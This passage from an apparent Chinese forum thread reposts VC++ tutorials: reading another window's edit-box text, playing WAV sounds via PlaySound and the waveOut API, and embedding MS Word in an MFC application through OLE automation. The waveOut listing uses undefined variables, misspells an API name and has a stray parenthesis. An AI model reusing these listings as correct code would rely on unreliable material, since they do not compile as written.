      HWND hwnd6=::FindWindowEx(hwnd5,NULL,_T("Edit"),NULL);   char sz[255];
      ::SendMessage(hwnd6,WM_GETTEXT,255,(LPARAM)sz);
      AfxMessageBox(sz);
     }
    }  以上的代码不用我解释了吧,这个问题不是什么大问题,难度也不大,但是可能会让初学者不明白为什么得不到程序某一控件的HANDLE,其实对VC来说,没有什么办不到的事情,只是需要你仔细的分析一下而已
     
      

  14.   

    VC++中播放声音的方法
     
    作者: cw_li
    转自: www.china-pub.com 
    内容提要 
          本文讨论了在VC++中播放声音文件的几种不同方法,并提供了具体的实现例句。   
    关键词 
           声音文件 音频设备 播放 多媒体 
    文章正文 
       声音是多媒体的一个重要组成部分,在应用程序中加入声音可以使界面更友好。在VC++中可以根据不同的应用要求,用不同的方法实现声音的播放。一.播放声音文件的简单方法
      在VC++ 中的多媒体动态连接库中提供了一组与音频设备有关的函数。利用这些函数可以方便地播放声音。最简单的播放声音方法就是直接调用VC++中提供的声音播放函数BOOL sndPlaySound ( LPCSTR lpszSound,UINT fuSound ); 或BOOL PlaySound( LPCSTR lpszSound, HMODULE hmod, DWORD fuSound );其中参数lpszSound是需要播放声音的.WAV文件的路径和文件名, hmod在这里为NULL,fuSound是播放声音的标志,详细说明请参考VC++中的帮助。 例如播放C:\sound\music.wav可以用sndPlaySound ("c:\\sound\\music.wav",SND_ASYNC);或PlaySound("c:\\sound\\music.wav",NULL, SND_ASYNC|SND_NODEFAULT );如果没有找到music.wav文件,第一种格式将播放系统默认的声音,第二种格式不会播放系统默认的声音。二.将声音文件加入到程序中
      在VC++的程序设计中,可以利用各种标准的资源,如位图,菜单,对话框等。同时VC++也允许用户自定义资源,因此我们可以将声音文件作为用户自定义资源加入程序资源文件中,经过编译连接生成EXE文件,实现无.WAV文件的声音播放。
      要实现作为资源的声音文件的播放,首先要在资源管理器中加入待播放的声音文件(实现过程并不复杂,这里不在叙述)。假设生成的声音文件资源标识符为IDR_WAVE1。在播放时只需要调用下面的语句:
      PlaySound(MAKEINTRESOURCE(IDR_WAVE1),AfxGetResourceHandle(),   SND_ASYNC|SND_RESOURCE|SND_NODEFAULT|SND_LOOP);
      其中MAKEINTRESOURCE()宏将整数资源标识符转变为字符串,AfxGetResourceHandle()函数返回包含资源的模块句柄,
    SND_RESOURCE是必须的标志。
      作为资源的声音文件的第二种播放方法是把资源读入内存后作为内存数据播放。具体步骤入下:
      1.获得包含资源的模块句柄:
      HMODULE hmod=AfxGetResourceHandle(); 
      2.检索资源块信息:
      HRSRC hSndResource=FindResource(hmod,MAKEINTRESOURCE(IDR_WAVE1),_T("WAVE"));
      3. 装载资源数据并加锁:
      HGLOBAL hGlobalMem=LoadResource(hmod,hSndResource);
    LPCTSTR lpMemSound=(LPCSTR)LockResource(hGlobalMem);
      4.播放声音文件:
      sndPlaySound(lpMemSound,SND_MEMORY));
      5.释放资源句柄:
      FreeResource(hGlobalMem); 三.播放声音文件的高级方法
      在VC++中提供了一组对音频设备及多媒体文件直接进行操作的函数。利用这些函数可以灵活地对声音文件进行各种处理。
      首先介绍几个要用到的数据结构。WAVEFORMATEX结构定义了WAVE音频数据文件的格式。WAVEHDR结构定义了波形音频缓冲区。读出的数据首先要填充此缓冲区才能送音频设备播放。WAVEOUTCAPS结构描述了音频设备的性能。MMCKINFO结构包含了RIFF文件中一个块的信息。详细的说明请参考VC++中的帮助。
      下面给出程序流程简图及程序源代码清单,在VC++环境下可直接使用:
    源程序清单如下:
    LPSTR szFileName;//声音文件名
    MMCKINFO mmckinfoParent;
    MMCKINFO mmckinfoSubChunk;
    DWORD dwFmtSize;
    HMMIO m_hmmio;//音频文件句柄
    DWORD m_WaveLong;
    HPSTR lpData;//音频数据
    HANDLE m_hData;
    HANDLE m_hFormat;
    WAVEFORMATEX * lpFormat;
    DWORD m_dwDataOffset;
    DWORD m_dwDataSize;
    WAVEHDR pWaveOutHdr;
    WAVEOUTCAPS pwoc;
    HWAVEOUT hWaveOut;
    //打开波形文件
    if(!(m_hmmio=mmioOpen(szFileName,NULL,MMIO_READ|MMIO_ALLOCBUF)))
    {
    //File open Error
    Error("Failed to open the file.");//错误处理函数
    return false;
    }
    //检查打开文件是否是声音文件
    mmckinfoParent.fccType =mmioFOURCC('W','A','V','E');
    if(mmioDescend(m_hmmio,(LPMMCKINFO)&mmckinfoParent,NULL,MMIO_FINDRIFF))
    {
    //NOT WAVE FILE AND QUIT
    }
    //寻找 'fmt' 块
    mmckinfoSubChunk.ckid =mmioFOURCC('f','m','t',' ');
    if(mmioDescend(m_hmmio,&mmckinfoSubChunk,&mmckinfoParent,MMIO_FINDCHUNK))
    {
    //Can't find 'fmt' chunk
    }
    //获得 'fmt '块的大小,申请内存
    dwFmtSize=mmckinfoSubChunk.cksize ;
    m_hFormat=LocalAlloc(LMEM_MOVEABLE,LOWORD(dwFmtSize));
    if(!m_hFormat)
    {
    //failed alloc memory
    }
    lpFormat=(WAVEFORMATEX*)LocalLock(m_hFormat);
    if(!lpFormat)
    {
    //failed to lock the memory
    }
    if((unsigned long)mmioRead(m_hmmio,(HPSTR)lpFormat,dwFmtSize)!=dwFmtSize)
    {
    //failed to read format chunk
    }
    //离开 fmt 块
    mmioAscend(m_hmmio,&mmckinfoSubChunk,0);
    //寻找 'data' 块
    mmckinfoSubChunk.ckid=mmioFOURCC('d','a','t','a');
    if(mmioDescend(m_hmmio,&mmckinfoSubChunk,&mmckinfoParent,MMIO_FINDCHUNK))
    {
    //Can't find 'data' chunk
    }
    //获得 'data'块的大小
    m_dwDataSize=mmckinfoSubChunk.cksize ;
    m_dwDataOffset =mmckinfoSubChunk.dwDataOffset ;
    if(m_dwDataSize==0L)
    {
    //no data in the 'data' chunk
    }
    //为音频数据分配内存
    lpData=new char[m_dwDataSize];
    if(!lpData)
    {
    //faile
    }
    if(mmioSeek(m_hmmio,SoundOffset,SEEK_SET)<0)
    {
    //Failed to read the data chunk
    }
    m_WaveLong=mmioRead(m_hmmio,lpData,SoundLong);
    if(m_WaveLong<0)
    {
    //Failed to read the data chunk
    }
    //检查音频设备,返回音频输出设备的性能
    if(waveOutGetDeVCaps(WAVE_MAPPER,&pwoc,sizeof(WAVEOUTCAPS))!=0)
    {
    //Unable to allocate or lock memory
    }
    //检查音频输出设备是否能播放指定的音频文件
    if(waveOutOpen(&hWaveOut,DevsNum,lpFormat,NULL,NULL,CALLBACK_NULL)!=0)
    {
    //Failed to OPEN the wave out devices
    }
    //准备待播放的数据
    pWaveOutHdr.lpData =(HPSTR)lpData;
    pWaveOutHdr.dwBufferLength =m_WaveLong;
    pWaveOutHdr.dwFlags =0;
    if(waveOutPrepareHeader(hWaveOut,&pWaveOutHdr,sizeof(WAVEHDR))!=0)
    {
    //Failed to prepare the wave data buffer
    }
    //播放音频数据文件
    if(waveOutWrite(hWaveOut,&pWaveOutHdr,sizeof(WAVEHDR))!=0)
    {
    //Failed to write the wave data buffer
    }
    //关闭音频输出设备,释放内存
    waveOutReset(hWaveOut);
    waveOutClose(hWaveOut);
    LocalUnlock(m_hFormat);
    LocalFree(m_hFormat);
    delete [] lpData; 
    说明:1)以上使用的音频设备和声音文件操作函数的声明包含在mmsystem.h头文件中,因此在程序中必须用#include "mmsystem.h"语句加入头文件。同时在编译时要加入动态连接导入库winmm.lib,具体实现方法是从Developer Studio的Project菜单中选择Settings,然后在Link选项卡上的Object/Library Modules控制中加入winmm.lib。2)在pWaveOutHdr.lpData中指定不同的数据,可以播放音频数据文件中任意指定位置的声音。3) 以上程序均在VC++6.0中调试通过,在文中省略了对错误及异常情况的处理,在实际应用中必须加入。
    四.结论
    在VC++中可以根据应用需要采用不同的方法播放声音文件。简单应用可以直接调用声音播放函数。第二种方法可以把声音作为资源加入可执行文件中。如果在播放之前要对声音数据进行处理,可用第三种方法。
     
      

  15.   

    使用MFC在应用程序中嵌入MS Word 
     
    Microsoft Office办公套件以其功能强大、方便实用而被广泛使用。我们可以使用自动化作为Word用以把其功能显露给其他应用的方式,采用这种方式可以尽可能少的占用自动化客户的资源,并且不需要被访问对象的类型信息就可以进行调用。

    二、创建工程
    以下是创建这个MFC应用程序的步骤:
    (1)使用AppWizard创建一个新的MFC                   AppWizard(EXE)工程,命名为"Embed_Word"
    (2)选择单文档视图(SDI)结构,在第3步中需要选中Container,以提供容器支持。                   其它都为默认。在ClassView中将产生如下类:
    应用类: CEmbed_WordApp in Embed_Word.h and                   Embed_Word.cpp
    框架类: CMainFrame in MainFrm.h and               MainFrm.cpp
    文档类: CEmbed_WordDoc in Embed_WordDoc.h and                   Embed_WordDoc.cpp
    视图类: CEmbed_WordView in Embed_WordView.h and                   Embed_WordView.cpp
    容器类: CEmbed_WordCntrItem in CntrItem.h and                   CntrItem.cpp
    (3)在View菜单中,选ClassWizard,选Automation选项卡,选Add                   Class,选择From a TypeLibrary, 在Office目录中选中Microsoft Word 97/2000                   类型库Word8.olb或Word9.olb,会将把类型库中的所有类添加到你的工程中。这时,ClassView中会多出几十个类,可以通过这些类提供的接口来实现必要的功能。
    (4)在CCntrItem.h中添加获取标准COM接口IDispach的函数:
    LPDISPATCH GetIDispatch();             其函数实现如下:
    LPDISPATCH               CEmbed_WordCntrItem::GetIDispatch()
    {
    ASSERT_VALID(this);
    ASSERT(m_lpObject != NULL);
    LPUNKNOWN lpUnk = m_lpObject;
    Run();
    LPOLELINK lpOleLink = NULL;
    if(m_lpObject->QueryInterface(IID_IOleLink,(LPVOID                   FAR*)&lpOleLink)== NOERROR)
    {
    ASSERT(lpOleLink != NULL);
    lpUnk = NULL;
    if(lpOleLink->GetBoundSource(&lpUnk) !=                   NOERROR)
    {
    TRACE0("Warning: Link is not               connected!\n");
    lpOleLink->Release();
    }
    ASSERT(lpUnk != NULL);
    }
    LPDISPATCH lpDispatch = NULL;
    if(lpUnk->QueryInterface(IID_IDispatch,(LPVOID                   FAR*)&lpDispatch) != NOERROR)
    {
    TRACE0("Waring: does not support                 IDispatch!\n");
    return NULL;
    }
    ASSERT(lpDispatch != NULL);
    return lpDispatch;
    }
    通过此函数来返回标准COM接口IDispatch。
    (5)在Embed_WordView.cpp中添加对"MSWord8.h"的引用:#include                   "MSWord8.h",如使用Word2000,则包含对"MSWord9.h"的引用。                   然后在视类CEmbed_WordView中添加函数EmbedAutomateExcel():
    void               CEmbed_WordView::EmbedAutomateWord()
    {
    BeginWaitCursor();
    CEmbed_WordCntrItem* pItem =             NULL;
    TRY
    {
    CEmbed_WordDoc* pDoc =               GetDocument();
    ASSERT_VALID(pDoc);
    pItem = new               CEmbed_WordCntrItem(pDoc);
    ASSERT_VALID(pItem);
    GetClientRect(&pItem->rect);
    CLSID clsid;
    if(FAILED(::CLSIDFromProgID(L"Word.document",&clsid)))
    AfxThrowMemoryException();
    if(!pItem->CreateNewItem(clsid))
    AfxThrowMemoryException();
    ASSERT_VALID(pItem);
    pItem->DoVerb(OLEIVERB_SHOW,               this);
    m_pSelection = pItem;
    pDoc->UpdateAllViews(NULL);
    LPDISPATCH lpDisp;
    lpDisp =             pItem->GetIDispatch();
    }
    CATCH(CException, e)
    {
    if (pItem != NULL)
    {
    ASSERT_VALID(pItem);
    pItem->Delete();
    }
    AfxMessageBox(IDP_FAILED_TO_CREATE);
    }
    END_CATCH
    EndWaitCursor();
    }
    如果仔细研究过这段代码,会发现它同AppWizard自动生成的OnInsertObject()函数有着惊人的相似程度,看一下View类中的                   OnInsertObject()                   方法,对其中的注释引起了我们的兴趣,因为它和我们刚写的方法有惊人的相似。事实上,我们刚才写的只不过是OnInsertObject()的一个特例:OnInsertObject()允许用户从可用的OLE对象列表中选择其一插入到应用程序中。因为在此我们只需对Word进行自动化,所以派生了这一行为。
    (6)为了在程序刚启动时便将Word嵌入到程序中来,还需在视类的OnInitialUpdate()函数中添加代码:
    void               CEmbed_WordView::OnInitialUpdate()
    {
    CView::OnInitialUpdate();
    EmbedAutomateWord();             //将Word嵌入
    m_pSelection = NULL;
    }
    (7)为了使嵌入的工作区占满整个客户区可以通过修改OnDraw函数来实现:
    void CEmbed_WordView::OnDraw(CDC*               pDC)
    {
    CEmbed_WordDoc* pDoc =               GetDocument();
    ASSERT_VALID(pDoc);
    if (m_pSelection == NULL)
    {
    POSITION pos =               pDoc->GetStartPosition();
    m_pSelection =                   (CEmbed_WordCntrItem*)pDoc->GetNextClientItem(pos);
    }
    if (m_pSelection != NULL)
    {
    CRect rect;
    GetClientRect(&m_pSelection->rect);
    m_pSelection->OnGetItemPosition(rect);
    m_pSelection->Draw(pDC,rect);
    }
    }

    三、编译执行
    编译执行该程序,当程序启动时便会试图启动Word自动化服务,这时鼠标会处于等待状态,当鼠标恢复正常状态时,Word以经被嵌入到了程序中来,工具条和菜单上会多出许多Word上的工具条和菜单,并可以使用Word的这些功能来为我们服务。

    小结:通过这个例子我们可以对COM技术有初步的了解,也可以用类似的方法为程序添加其他服务,如Excel、PowerPoint等其他Office套件,使广大读者对自动化技术有基本的认识。